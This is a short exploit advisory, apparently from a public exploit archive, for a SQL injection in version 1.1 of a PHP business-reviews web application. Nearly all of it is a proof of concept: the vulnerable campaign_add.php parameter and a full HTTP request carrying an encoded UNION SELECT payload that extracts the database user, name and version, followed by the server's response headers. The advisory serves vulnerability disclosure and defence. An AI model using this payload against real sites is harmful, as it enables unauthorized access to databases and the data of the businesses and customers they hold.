Facebook And Google Reviews System For Businesses 1.1 - SQL Injection

# Exploit Title: Facebook And Google Reviews System For Businesses 1.1 - SQL Injection
# Dork: N/A
# Date: 2018-12-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/reviews/campaign_add.php?id=[SQL]
# 

GET /[PATH]/reviews/campaign_add.php?id=%2d%31%27%20%20%55%4e%49%4f%4e+%53%45%4c%45%43%54+1,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29,3,4,5,%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33,24,25,%32%36%2c%32%37%2c%32%38%2c%32%39,30--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 14 Dec 2018 18:09:22 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8